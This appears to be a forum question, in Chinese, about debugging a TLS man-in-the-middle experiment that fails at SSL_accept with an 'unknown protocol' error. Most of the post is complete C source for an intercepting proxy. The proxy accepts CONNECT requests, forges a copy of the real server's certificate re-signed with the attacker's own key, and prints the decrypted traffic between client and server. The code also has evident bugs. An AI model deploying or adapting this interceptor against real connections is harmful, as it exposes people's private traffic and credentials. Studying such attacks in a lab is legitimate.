中间人共计实验,在使用伪造证书连接客户端时失败
在SSL_accept哪一步中断,打印错误SSL routines:SSL23_GET_CLIENT_HELLO:unknown protocol,private.key和他public.key使用以下两个命令生成:
openssl genrsa -out private.pem 1024 openssl rsa -in private.pem -pubout -out public.pem
程序代码:
#include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <sys/param.h> //#include <linux/netfilter_ipv4.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <sys/time.h> #include <netdb.h> #include <pthread.h> #include <openssl/ssl.h> #include <openssl/err.h> #define LISTEN_BACKLOG 50 #define warning(msg) \ do { fprintf(stderr, "%d, ", sum); perror(msg); } while(0) #define error(msg) \ do { fprintf(stderr, "%d, ", sum); perror(msg); exit(EXIT_FAILURE); } while (0) int sum = 1; typedef struct Parameter { int client; int server; char *host; int port; EVP_PKEY *key; } *P; typedef struct SocketFd { int client; int server; char *host; int port; } *MFD; struct timeval timeout0 = { 0, 1000000 }; int socket_to_client_init(short int port) { int sockfd; int on = 1; struct sockaddr_in addr; if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) error("Fail to initial socket to client!"); if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *) &on, sizeof(on)) < 0) error("reuseaddr error!"); memset(&addr, 0, sizeof(addr)); addr.sin_addr.s_addr = htonl(INADDR_ANY); addr.sin_family = AF_INET; addr.sin_port = htons(port); if (bind(sockfd, (struct sockaddr*) &addr, sizeof(struct sockaddr)) < 0) { shutdown(sockfd, SHUT_RDWR); error("Fail to bind socket to client!"); } if (listen(sockfd, LISTEN_BACKLOG) < 0) { shutdown(sockfd, SHUT_RDWR); error("Fail to listen socket to client!"); } return sockfd; } int get_line(int sock, char *buf, int size) { int i = 0; char c = '\0'; int n; while ((i < size - 1) && (c != '\n')) { n = (int)recv(sock, &c, 1, 0); /* DEBUG printf("%02X\n", c); */ if (n > 0) { if (c == '\r') { n = (int)recv(sock, &c, 1, MSG_PEEK); /* DEBUG printf("%02X\n", c); */ if ((n > 0) && (c == '\n')) recv(sock, &c, 1, 0); else c = '\n'; } buf[i] = c; i++; } else c = '\n'; } buf[i] = '\0'; return(i); } static void trim( char* line ) { int l; l = (int)strlen( line ); while ( line[l-1] == '\n' || line[l-1] == '\r' ) line[--l] = '\0'; } static int open_client_socket( int client, char* hostname, unsigned short port ) { #ifdef USE_IPV6 struct addrinfo hints; char portstr[10]; int gaierr; struct addrinfo* ai; struct addrinfo* ai2; struct addrinfo* aiv4; struct addrinfo* aiv6; struct sockaddr_in6 sa_in; #else /* USE_IPV6 */ struct hostent *he; struct sockaddr_in sa_in; #endif /* USE_IPV6 */ int sa_len, sock_family, sock_type, sock_protocol; int sockfd; (void) memset( (void*) &sa_in, 0, sizeof(sa_in) ); #ifdef USE_IPV6 (void) memset( &hints, 0, sizeof(hints) ); hints.ai_family = PF_UNSPEC; hints.ai_socktype = SOCK_STREAM; (void) snprintf( portstr, sizeof(portstr), "%d", (int) port ); if ( (gaierr = getaddrinfo( hostname, portstr, &hints, &ai )) != 0 ) { send_error( client, 404, "Not Found", (char*) 0, "Unknown host." ); return -1; } /* Find the first IPv4 and IPv6 entries. */ aiv4 = (struct addrinfo*) 0; aiv6 = (struct addrinfo*) 0; for ( ai2 = ai; ai2 != (struct addrinfo*) 0; ai2 = ai2->ai_next ) { switch ( ai2->ai_family ) { case AF_INET: if ( aiv4 == (struct addrinfo*) 0 ) aiv4 = ai2; break; case AF_INET6: if ( aiv6 == (struct addrinfo*) 0 ) aiv6 = ai2; break; } } /* If there's an IPv4 address, use that, otherwise try IPv6. */ if ( aiv4 != (struct addrinfo*) 0 ) { if ( sizeof(sa_in) < aiv4->ai_addrlen ) { (void) fprintf( stderr, "%s - sockaddr too small (%lu < %lu)\n", hostname, (unsigned long) sizeof(sa_in), (unsigned long) aiv4->ai_addrlen ); return -1; } sock_family = aiv4->ai_family; sock_type = aiv4->ai_socktype; sock_protocol = aiv4->ai_protocol; sa_len = aiv4->ai_addrlen; (void) memmove( &sa_in, aiv4->ai_addr, sa_len ); goto ok; } if ( aiv6 != (struct addrinfo*) 0 ) { if ( sizeof(sa_in) < aiv6->ai_addrlen ) { (void) fprintf( stderr, "%s - sockaddr too small (%lu < %lu)\n", hostname, (unsigned long) sizeof(sa_in), (unsigned long) aiv6->ai_addrlen ); return -1; } sock_family = aiv6->ai_family; sock_type = aiv6->ai_socktype; sock_protocol = aiv6->ai_protocol; sa_len = aiv6->ai_addrlen; (void) memmove( &sa_in, aiv6->ai_addr, sa_len ); goto ok; } send_error( client, 404, "Not Found", (char*) 0, "Unknown host." ); return -1; ok: freeaddrinfo( ai ); #else /* USE_IPV6 */ he = gethostbyname( hostname ); if ( he == (struct hostent*) 0 ) { // send_error( client, 404, "Not Found", (char*) 0, "Unknown host." ); return -1; } sock_family = sa_in.sin_family = he->h_addrtype; sock_type = SOCK_STREAM; sock_protocol = 0; sa_len = sizeof(sa_in); (void) memmove( &sa_in.sin_addr, he->h_addr, he->h_length ); sa_in.sin_port = htons( port ); #endif /* USE_IPV6 */ sockfd = socket( sock_family, sock_type, sock_protocol ); if ( sockfd < 0 ) { // send_error( client, 500, "Internal Error", (char*) 0, "Couldn't create socket." ); return -1; } if ( connect( sockfd, (struct sockaddr*) &sa_in, sa_len ) < 0 ) { // send_error( client, 503, "Service Unavailable", (char*) 0, "Connection refused." ); return -1; } printf(" to server [%s:%d]\n", inet_ntoa(sa_in.sin_addr), ntohs(sa_in.sin_port)); return sockfd; } MFD get_socket_to_client(int socket) { MFD fd = malloc(sizeof(struct SocketFd)); // fd->server = -1; fd->client = -1; fd->server = -1; struct sockaddr_in client_addr; socklen_t client_size = sizeof(struct sockaddr); // socklen_t server_size = sizeof(struct sockaddr); memset(&client_addr, 0, client_size); // memset(original_server_addr, 0, server_size); fd->client = accept(socket, (struct sockaddr *) NULL, NULL); if (fd->client < 0) { warning("Fail to accept socket to client!"); return fd; } printf("Find SSL connection from client [%s:%d]", inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port)); char line[10000], method[10000], url[10000], protocol[10000], host[10000], path[10000]; get_line(fd->client, line, sizeof(line)); trim(line); if (sscanf(line, "%[^ ] %[^ ] %[^ ]", method, url, protocol) != 3) { return fd; } int iport; if (strncasecmp(url, "http://", 7) == 0) { if (sscanf(url, "http://%[^:/]:%d%s", host, &iport, path) == 3) { fd->host = host; fd->port = iport; } else if(sscanf(url, "http://%[^/]%s", host, path) == 2) { fd->host = host; fd->port = 80; } else if(sscanf(url, "http://%[^:/]:%d", host, &iport) == 2) { fd->host = host; fd->port = iport; } fd->client = -1; } else if (strcmp(method, "CONNECT") == 0) { if ( sscanf( url, "%[^:]:%d", host, &iport ) == 2 ) { fd->port = (unsigned short) iport; fd->host = host; fd->server = open_client_socket(fd->client, fd->host, fd->port); } else if (sscanf(url, "%s", host) == 1) { fd->host = host; fd->port = 443; fd->server = open_client_socket(fd->client, fd->host, fd->port); } else { fd->client = -1; } } else { fd->client = -1; } return fd; } void SSL_init() { SSL_library_init(); SSL_load_error_strings(); } void SSL_Warning(char *custom_string) { char error_buffer[256] = { 0 }; fprintf(stderr, "%d, %s ", sum, custom_string); ERR_error_string(ERR_get_error(), error_buffer); fprintf(stderr, "%s\n", error_buffer); } void SSL_Error(char *custom_string) { SSL_Warning(custom_string); exit(EXIT_FAILURE); } SSL* SSL_to_server_init(int socket) { SSL_CTX *ctx; ctx = SSL_CTX_new(SSLv23_client_method()); if (ctx == NULL) SSL_Error("Fail to init ssl ctx!"); SSL *ssl = SSL_new(ctx); if (ssl == NULL) SSL_Error("Create ssl error"); if (SSL_set_fd(ssl, socket) != 1) SSL_Error("Set fd error"); return ssl; } SSL* SSL_to_client_init(int socket, X509 *cert, EVP_PKEY *key) { SSL_CTX *ctx; ctx = SSL_CTX_new(SSLv23_server_method()); if (ctx == NULL) SSL_Error("Fail to init ssl ctx!"); if (cert && key) { if (SSL_CTX_use_certificate(ctx, cert) != 1) SSL_Error("Certificate error"); if (SSL_CTX_use_PrivateKey(ctx, key) != 1) SSL_Error("key error"); if (SSL_CTX_check_private_key(ctx) != 1) SSL_Error("Private key does not match the certificate public key"); } // SSL_CTX_use_certificate_file(ctx, "squidCA.pem", SSL_FILETYPE_PEM); // SSL_CTX_use_PrivateKey_file(ctx, "private.key", SSL_FILETYPE_PEM); // SSL_CTX_check_private_key(ctx); SSL *ssl = SSL_new(ctx); if (ssl == NULL) SSL_Error("Create ssl error"); if (SSL_set_fd(ssl, socket) != 1) SSL_Error("Set fd error"); // if (SSL_get_verify_result(ssl) != X509_V_OK) { // SSL_Error("X509证书无效!"); // } return ssl; } void SSL_terminal(SSL *ssl) { SSL_CTX *ctx = SSL_get_SSL_CTX(ssl); SSL_shutdown(ssl); SSL_free(ssl); if (ctx) SSL_CTX_free(ctx); } EVP_PKEY* create_key() { EVP_PKEY *key = EVP_PKEY_new(); RSA *rsa = RSA_new(); FILE *fp; if ((fp = fopen("private.pem", "r")) == NULL) error("private.pem"); PEM_read_RSAPrivateKey(fp, &rsa, NULL, NULL); if ((fp = fopen("public.pem", "r")) == NULL) error("public.pem"); PEM_read_RSAPublicKey(fp, &rsa, NULL, NULL); EVP_PKEY_assign_RSA(key,rsa); return key; } X509* create_fake_certificate(SSL* ssl_to_server, EVP_PKEY *key) { X509 *server_x509 = SSL_get_peer_certificate(ssl_to_server); X509 *fake_x509 = X509_dup(server_x509); if (server_x509 == NULL) SSL_Error("Fail to get the certificate from server!"); X509_set_version(fake_x509, X509_get_version(server_x509)); ASN1_INTEGER *a = X509_get_serialNumber(fake_x509); a->data[0] = a->data[0] + 1; X509_NAME *issuer = X509_NAME_new(); X509_set_issuer_name(fake_x509, issuer); X509_set_pubkey(fake_x509, key); X509_sign(fake_x509, key, EVP_sha1()); return fake_x509; } int transfer(SSL *ssl_to_client, SSL *ssl_to_server) { int socket_to_client = SSL_get_fd(ssl_to_client); int socket_to_server = SSL_get_fd(ssl_to_server); int ret; char buffer[4096] = { 0 }; fd_set fd_read; printf("%d, waiting for transfer\n", sum); while (1) { int max; FD_ZERO(&fd_read); FD_SET(socket_to_server, &fd_read); FD_SET(socket_to_client, &fd_read); max = socket_to_client > socket_to_server ? socket_to_client + 1 : socket_to_server + 1; ret = select(max, &fd_read, NULL, NULL, &timeout0); if (ret < 0) { SSL_Warning("Fail to select!"); break; } else if (ret == 0) { continue; } if (FD_ISSET(socket_to_client, &fd_read)) { memset(buffer, 0, sizeof(buffer)); ret = SSL_read(ssl_to_client, buffer, sizeof(buffer)); if (ret > 0) { if (ret != SSL_write(ssl_to_server, buffer, ret)) { SSL_Warning("Fail to write to server!"); break; } else { printf("%d, client send %d bytes to server\n", sum, ret); printf("%s\n", buffer); } } else { SSL_Warning("Fail to read from client!"); break; } } if (FD_ISSET(socket_to_server, &fd_read)) { memset(buffer, 0, sizeof(buffer)); ret = SSL_read(ssl_to_server, buffer, sizeof(buffer)); if (ret > 0) { if (ret != SSL_write(ssl_to_client, buffer, ret)) { SSL_Warning("Fail to write to client!"); break; } else { printf("%d, server send %d bytes to client\n", sum, ret); printf("%s\n", buffer); } } else { SSL_Warning("Fail to read from server!"); break; } } } return -1; } void doit(MFD fd, EVP_PKEY* key) { X509 *fake_x509; SSL *ssl_to_client, *ssl_to_server; // // 通过获得的原始目的地址,连接真正的服务器,获得一个和服务器连接的socket int socket_to_server = fd->server; // 通过和服务器连接的socket建立一个和服务器的SSL连接 ssl_to_server = SSL_to_server_init(socket_to_server); if (SSL_connect(ssl_to_server) < 0) SSL_Error("Fail to connect server with ssl!"); // printf("%d, SSL to server\n", sum); // 从服务器获得证书,并通过这个证书伪造一个假的证书 fake_x509 = create_fake_certificate(ssl_to_server, key); // 使用假的证书和我们自己的密钥,和客户端建立一个SSL连接。至此,SSL中间人攻击成功 ssl_to_client = SSL_to_client_init(fd->client, fake_x509, key); if(ssl_to_client == 0) { SSL_Error("SSL to client Failed!\n"); } if (SSL_accept(ssl_to_client) <= 0) SSL_Error("Fail to accept client with ssl!"); printf("%d, SSL to client\n", sum); // 在服务器SSL连接和客户端SSL连接之间转移数据,并输出服务器和客户端之间通信的数据 if (transfer(ssl_to_client, ssl_to_server) < 0) { printf("%d, connection shutdown\n", sum); SSL_terminal(ssl_to_client); SSL_terminal(ssl_to_server); shutdown(socket_to_server, SHUT_RDWR); shutdown(fd->client, SHUT_RDWR); X509_free(fake_x509); } } int main(int argc, char *argv[]) { // 初始化一个socket,将该socket绑定到8888端口,并监听 int socket = socket_to_client_init(8888); // 从文件读取伪造SSL证书时需要的RAS私钥和公钥 EVP_PKEY* key = create_key(); // 初始化openssl库 SSL_init(); // pthread_t nthread; // P par = (P)malloc(sizeof(struct Parameter)); // par->key = key; while (1) { // 从监听的端口获得一个客户端的连接,并将该连接的原始目的地址存储到original_server_addr中 MFD fd = get_socket_to_client(socket); if (fd->client < 0 || fd->server < 0) continue; // par->client = fd->client; // par->host = fd->host; // par->port = fd->port; // if (pthread_create(&nthread, NULL, (void *)doit, par)) { // continue; // } if (!fork()) { doit(fd, key); } } // EVP_PKEY_free(key); return 0; }